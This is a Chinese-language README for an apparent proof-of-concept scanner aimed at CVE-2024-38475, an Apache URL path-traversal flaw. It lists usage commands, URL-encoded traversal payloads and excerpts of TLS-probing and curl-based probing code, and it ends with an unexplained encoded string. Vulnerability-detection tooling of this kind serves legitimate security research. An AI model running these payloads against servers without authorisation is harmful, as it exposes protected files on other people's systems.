SonicBoom - CVE-2024-38475 Apache URL 路径遍历漏洞检测工具
项目概述
SonicBoom 是一个针对 CVE-2024-38475 漏洞的自动化检测工具,该漏洞允许攻击者通过 URL 路径遍历技术访问 Apache 服务器上未经授权的文件。本工具提供完整的检测流程,帮助安全研究人员快速验证漏洞是否存在。
功能特性
- 🔍 自动 TLS 协商:智能检测目标服务器支持的最高 TLS/SSL 协议版本
- 📂 目录遍历验证:快速识别 403 保护目录并验证路径遍历可行性
- 🎯 批量扫描:支持自定义目录和文件字典进行高效扫描
- 🔧 载荷模糊测试:提供可配置的 URL 编码载荷库,支持自定义扩展
- 📝 结构化日志:分阶段输出检测结果,便于分析与审计
- ⚡ 并发请求:高效的并发机制提升扫描速度
安装指南
系统要求
- Python: 3.6 或更高版本
- 操作系统: Linux / macOS / Windows
依赖安装
# 安装 Python 依赖
pip install requests tqdm
从源码安装
# 克隆仓库
git clone https://github.com/abrewer251/CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC.git
cd CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC
# 赋予执行权限(Linux/macOS)
chmod +x poc.py
使用说明
基本语法
python3 poc.py --schema <http|https> --host <目标地址> --port <端口> \
--directory-wordlist <目录字典> --file-wordlist <文件字典> --output <输出文件>
命令行参数
| 参数 | 说明 | 必需 | 默认值 |
|---|---|---|---|
--schema | 协议类型 (http/https) | ✓ | - |
--host | 目标主机或 IP | ✓ | - |
--port | 目标端口 | ✓ | - |
--directory-wordlist | 目录字典文件路径 | ✓ | - |
--file-wordlist | 文件字典文件路径 | ✓ | - |
--output | 结果输出文件路径 | ✓ | - |
-p/--payloads | URL 编码载荷列表 | ✗ | %3f %3Fany |
使用示例
# 基础检测
python3 poc.py \
--schema https \
--host 192.168.1.100 \
--port 8443 \
--directory-wordlist dirs.txt \
--file-wordlist files.txt \
--output results.log
# 使用自定义载荷
python3 poc.py \
--schema http \
--host example.com \
--port 80 \
--directory-wordlist common_dirs.txt \
--file-wordlist sensitive_files.txt \
--payloads "%2e%2e/" "%2e%2e%5C" "%252e%252e%252f" \
--output findings.txt
输出说明
检测过程输出以下状态标记:
[1/6] Negotiating TLS...- TLS 版本协商阶段[TRAVERSAL OK]- 通用路径遍历验证成功[403]- 发现受保护的目录[TRAVERSAL OK] <目录>- 特定目录存在遍历漏洞[200]- 发现实际可访问的敏感文件
核心代码
TLS 协议协商模块
# 检测最高支持的 TLS/SSL 版本
def detect_protocol(host, port, timeout=3):
candidates = [
("TLSv1.3", ssl.PROTOCOL_TLS_CLIENT, 0),
("TLSv1.2", ssl.PROTOCOL_TLSv1_2, 0),
("TLSv1.1", ssl.PROTOCOL_TLSv1_1, 0),
("TLSv1.0", ssl.PROTOCOL_TLSv1, 0),
("SSLv23+", ssl.PROTOCOL_SSLv23, ssl.OP_NO_TLSv1_2 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1),
]
for name, proto, disable_opts in candidates:
ctx = ssl.SSLContext(proto)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
if disable_opts:
ctx.options |= disable_opts
try:
with socket.create_connection((host, port), timeout=timeout) as sock:
with ctx.wrap_socket(sock, server_hostname=host):
pass
return proto, disable_opts, name
except Exception:
continue
raise RuntimeError(f"No supported SSL/TLS versions found for {host}:{port}")
自定义 TLS HTTP 适配器
# 强制使用指定 SSL 上下文的 HTTP 适配器
class FixedTLSAdapter(HTTPAdapter):
def __init__(self, ssl_proto, disable_opts, **kwargs):
self.ssl_proto = ssl_proto
self.disable_opts = disable_opts
super().__init__(**kwargs)
def init_poolmanager(self, connections, maxsize, block=False, **pool_kwargs):
ctx = ssl.SSLContext(self.ssl_proto)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
if self.disable_opts:
ctx.options |= self.disable_opts
pool_kwargs['ssl_context'] = ctx
return super().init_poolmanager(connections, maxsize, block, **pool_kwargs)
HTTP 方法探测模块
def probe_method(url, method, timeout):
"""返回 HTTP 状态码,错误时返回 None"""
cmd = [
"curl", "-s", "-o", "/dev/null",
"-w", "%{http_code}",
"-X", method,
"--connect-timeout", str(timeout),
"--max-time", str(timeout),
url
]
try:
proc = subprocess.run(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
timeout=timeout+0.5
)
return int(proc.stdout.strip())
except Exception:
return None
6HFtX5dABrKlqXeO5PUv/+nIrQdmLRuFRCSJbPJx/24q0Kw+U/hPFnHnCAW3T8S+crXr6Wn21atimqb7cRbxGUKUWuJSEhpSC9e0XbHtmC0=